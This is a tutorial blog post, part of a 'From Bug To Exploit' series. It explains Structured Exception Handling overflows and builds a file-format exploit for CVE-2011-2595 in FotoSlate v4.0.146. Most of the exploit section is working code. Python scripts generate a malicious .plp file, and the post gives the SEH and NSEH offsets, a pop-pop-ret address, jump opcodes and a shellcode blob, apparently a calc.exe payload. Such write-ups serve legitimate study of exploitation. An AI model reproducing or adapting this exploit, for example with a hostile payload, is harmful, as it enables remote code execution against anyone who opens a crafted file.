[Learning] CVE-2011-2595: FotoSlate v4.0.146 RCE — SEH Overflow

First Post:

Last Update:

Word Count:
2.1k

Read Time:
12 min

Introduction

This article is part of my series: From Bug To Exploit.

In the previous articles, I demonstrated how to perform basic stack-based buffer overflow. In this article, however, I will demonstrate how an SEH overflow works.

What is SEH

SEH stands for Structured Exception Handling. It is a native Microsoft Windows mechanism designed to handle hardware and software exceptions robustly.

It allows applications to handle exceptions such as division by zero, invalid memory access, and access violations instead of terminating immediately. When an exception occurs, the operating system transfers control to a designed exception handler, which can handle the exception or terminate the process.

Under the Hood:

  1. Next SEH (NSEH) Record: A pointer to the next SEH record in the chain (a linked list).
  2. SEH Handler: A pointer to the function code responsible for handling the exception.
  3. The SEH Chain: Exception handlers are linked torgether through SEH records. When an exception occurs, Windows walks the chain and invokes the appropriate exception handler.

Why SEH?

In the early days of binary exploitation, standard buffer overflows aimed directly at overwriting the EIP value. Sometimes, however, there is not enough space to store the malicious data after filling the buffer with a large amount of junk data.

In this case, an attacker can use SEH overflow to overcome this limitation.

Attackers can fill the available space before the SEH structure with a NOP sled and their shellcode. They overwrite the SEH Handler to trigger a pop # pop # ret sequence. This instruction sequence redirects execution backward into the large, controlled buffer they created at a lower memory address.

Note: Stack pushes data from high addresses to low addresses. Some people might be confused because some debuggers display the stack in the opposite direction in their GUI.

Furthermore, SEH overflow can also be used to bypass certain modern protections, but I will discuss this in future posts.

SEH Overflow

Before starting to exploit the application, I want to explain the principle behind SEH overflow.

On Windows x86, SEH records are typically stored on the stack, allowing an attacker to overwrite both the NSEH and SEH Handler fields with a large amount of junk data.

In other words, once the SEH record is overwritten, the attacker can trigger an exception, causing Windows to process the SEH record and eventually redirect execution to the attacker’s controlled code.

Note: On Windows x86, the stack grows toward lower addresses. Therefore, higher addresses are considered the bottom of the stack, while lower addresses are considered the top.

Therefore, the payload layout should be structured as follows:

After exploitation, the memory layout of the stack will look like this:

When the SEH Handler is overwritten with an address pointing to a pop # pop # ret instruction sequence, it ultimately redirects the Instruction Pointer (EIP) back to the Next SEH (NSEH) address. This happens because executing two pop instructions increments the Stack Pointer (ESP) twice (by 4 bytes each time, moving it up to higher memory by two stack slots). When the subsequent RET instruction executes, it takes the address currently at the top of the stack (which is our NSEH pointer) and loads it directly into EIP. As a result, the code placed inside NSEH is executed, allowing us to jump backward into our earlier payload buffer.

However, because the NSEH slot provides only a tiny 4-byte window, the distance we can jump from there is extremely constrained. Since our shellcode can be quite large, we implemented a two-stage jump (double pivot) using the SECOND_JUMP code block. This dedicated area gives us 8 bytes of operational space, allowing for a much larger and more flexible jumping distance.

Furthermore, the preceding NOP Sled acts as a “mechanical funnel” for our alignment. It is inconvenient to calculate a jump that lands precisely on the exact start address of the shellcode. In fact, if the size or structure of the shellcode changes, we would be forced to re-calculate the exact destination offset for the SECOND_JUMP every single time (otherwise, unknown instructions will be executed). By jumping into a broad field of NOPs instead, the CPU can smoothly glide through the NOP-operational instructions until it safely arrives at and executes the shellcode.

Note: I call it “mechanical funnel” because it is much like the funnel on an aerial refueling receptacle that guides a slightly off-target probe into place, the NOP sled captures our imprecise jump and safely guides the CPU’s execution flow straight into the shellcode.

Exploit

In this section, I am going to perform an SEH overflow.

When FotoSlate parses a malicious .plp file with an excessively long payload in the id field, it triggers a buffer overflow due to improper boundary checking.

1
<String id="Super large data"></String>

The shellcode with junk data reaches the Next SEH (NSEH) pointer, immediately followed by 4 bytes to overwrite the SEH Handler.

First, I tried to inject a large amount of junk data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# exploit.py

buffer = b'A' * 3000

def main():
with open('template.plp', 'rb') as f:
file_data = f.read()

file_data = file_data.replace(b'BADASSAUTHOR', buffer)

with open('evilfile.plp', 'wb') as f:
f.write(file_data)

print('[+] The evil file has been generated!')

if __name__ == '__main__':
main()

Attach the application to Immunity Debugger, and open evilfile.plp. The application then crashes:

We can also see that both the SEH and NSEH have been overwritten.

Now, we need to find the exact offsets. I did this with mona. If you are not familiar with it, you may refer to the previous article.

Therefore, we can find that the exact offsets to the SEH and the NSEH are 1816 and 1812, respectively.

As I mentioned before, the payload layout will look like this:

Therefore, I chose the offset 1812 instead of 1816. Here, I wrote a simple script to see if I could overwrite the NSEH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# deadbeef.py

import struct

OFFSET_HANDLER = 1816
OFFSET_NEXT = 1812

junk = b'A' * OFFSET_NEXT

buffer = junk + struct.pack('<I', 0xDEADBEEF)

def main():
with open('template.plp', 'rb') as f:
file_data = f.read()

file_data = file_data.replace(b'BADASSAUTHOR', buffer)

with open('evilfile.plp', 'wb') as f:
f.write(file_data)

print('[+] The evil file has been generated!')

if __name__ == '__main__':
main()

Open evilfile.plp again. Immunity Debugger demonstrates that I have successfully overwritten the value of NSEH!

Next, we need to find an address containing a pop # pop # ret instruction sequence, just like how we found jmp esp before.

We can use mona to find it:

1
!mona seh

Here, I chose the last one (0x26345a1d). We will use this value to overwrite the SEH value. The execution flow will then jump to 0x26345a1d and execute the pop # pop # ret sequence.

Note: Always remember that your shellcode should not contain any bad characters. In the case, however, since the handler is located at the end of the payload, if a null byte (\x00) is located at the end of this value (from the perspective of little-endian, the beginning of the address), it will not affect the execution flow.

After that, the value stored in NSEH (DEADBEEF) will be executed. Therefore, we need to change it to the first jump operation.

The find the opcode, we need to write assembly code and convert it into hexadecimal data.

There are several methods to do this:

  1. mona
  2. WinDbg
  3. nasm

I am going to use the third method.

First, create a file and write the instructions into it:

1
2
3
[BITS 32]

jmp short -0x08

As I mentioned earlier, we only have a 4-byte space for NSEH. This means we can only use a simple instruction like this.

To obtain the opecode, compile it with nasm and obtain the opcode with xxd:

1
2
nasm first_jump.asm -o first_jump.bin
xxd -i first_jump.bin

The opecode is \xeb\xf6, which is only two bytes long. Therefore, we can use \x90 (nop) to pad it, making it 4 bytes long.

The next one is the second jump. We can obtain it in the same way:

1
2
3
[BITS 32]

jmp -0x12c

The hexadecimal 0x12c represents 300 in decimal. You can modify this value to fit your case.

1
2
nasm second_jump.asm -o second_jump.bin
xxd -i second_jump.bin

The opecode is \xe9\xcf\xfe\xff\xff, which is 5 bytes long. Therefore, we can use \x90 (nop) to pad it, making it 8 bytes long.

Finally, the completed exploit script can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# exploit.py
# CVE-2011-2595
# Author: iss4cf0ng/ISSAC
# GitHub: https://github.com/iss4cf0ng/Nday-ToyStore

import struct

OFFSET_HANDLER = 1816
OFFSET_NEXT = 1812

NEXT = b'\xeb\xf6\x90\x90' # jmp short -0x08 # nop # nop
SECOND_JUMP = b' \xe9\xcf\xfe\xff\xff' + b'\x90' * 3 # jmp - 0x12c # nop # nop # nop
HANDLER = struct.pack('<I', 0x26345a1d)

# calc.exe
shellcode = b""
shellcode += b"\xdb\xca\xbe\x84\xf5\xd9\x03\xd9\x74\x24\xf4"
shellcode += b"\x5f\x33\xc9\xb1\x3e\x31\x77\x1a\x83\xc7\x04"
shellcode += b"\x03\x77\x16\xe2\x71\x4d\xb2\x21\x94\xf4\x9c"
shellcode += b"\xe6\xbf\x7d\x3b\x13\x64\x4d\x8a\x6a\xa2\x80"
shellcode += b"\x4f\x9f\xd1\xa1\x5d\x1c\x7d\x03\x6d\x8d\xed"
shellcode += b"\x38\xb9\x85\x0c\x60\x37\xab\xa3\x10\x13\xc5"
shellcode += b"\xdf\x66\xb1\x9f\x58\xb3\xf0\xe5\x01\x0b\x97"
shellcode += b"\x55\xf6\x37\xf2\xdb\x41\x3d\xa6\x73\x56\xbb"
shellcode += b"\x83\xdf\xb4\xd9\xe6\xef\x7d\x41\x2a\xfe\x87"
shellcode += b"\x95\xfe\xba\x2f\x44\xd9\xc8\x7a\x34\x35\x59"
shellcode += b"\x57\xd1\x02\x96\x28\x8d\xe1\x2b\xfc\xdd\x12"
shellcode += b"\xa3\x46\x6a\xa7\x87\x6b\x07\x05\xa4\x3a\xfa"
shellcode += b"\xed\xea\xa7\x37\x1f\x1d\x8e\x34\x86\x15\x74"
shellcode += b"\xb6\x2f\xc4\xcc\x5b\xa7\xa9\x7b\x86\xa7\x92"
shellcode += b"\x33\x30\x4f\x65\x3b\xfe\x61\xff\xb8\x3c\x86"
shellcode += b"\x86\xea\x17\xbf\x5a\x84\x56\x3b\xdf\x71\xa7"
shellcode += b"\xb8\x90\x43\x28\x01\x66\x59\x6a\x52\x83\x6b"
shellcode += b"\x84\x29\x5d\x9d\x88\x39\xcc\x8b\xaf\xa5\xe6"
shellcode += b"\xb4\xeb\xa5\xf2\xa3\x77\x87\x16\x54\x42\x63"
shellcode += b"\xaf\xc0\x1f\x9a\x6f\x63\x89\x45\xbd\x45\xda"
shellcode += b"\xf6\xfb\x46\xcd\x89\x68\xf8\x8b\x73\x9b\xf6"
shellcode += b"\xec\x66\xcd\x1d\x68\xd5\x57\x1d\x98\xad\x93"
shellcode += b"\xfd\x25\x21\x4c\x79\xf2\x15\x64\x1d\xf8\x6f"
shellcode += b"\xa6\x5c\x77\x4e\x54\x08\x30\x3d\x7e\x80\x19"
shellcode += b"\x2a\xde\xef\x4e\x12\xf4\x8e\x38\xbd\x56"

nopsled = b'\x90' * (OFFSET_NEXT - len(shellcode) - len(SECOND_JUMP))

buffer = nopsled + shellcode + SECOND_JUMP + NEXT + HANDLER

print(len(shellcode))

def main():
with open('template.plp', 'rb') as f:
file_data = f.read()

file_data = file_data.replace(b'BADASSAUTHOR', buffer)

with open('evilfile.plp', 'wb') as f:
f.write(file_data)

print('[+] The evil file has been generated!')

if __name__ == '__main__':
main()

Note: The script and the template.plp are available on my GitHub.

Conclusion

This article introduced the basic concepts of SEH overflow and demonstrated how to exploit FotoSlate v4.0.146.

The method is slightly harder than the classic buffer overflow. I spent hours understanding and exploiting it and found lots of things worth documenting.

The best way for me to learn is probably to go step-by-step!

This is the end of this article. If you have any comments or suggestions, please feel free to leave them below!

THANKS FOR READING

Recently, I have been learning how to draw (as a beginner), so I wanted to include one of my recent pieces at the end of this article. I hope you enjoy it.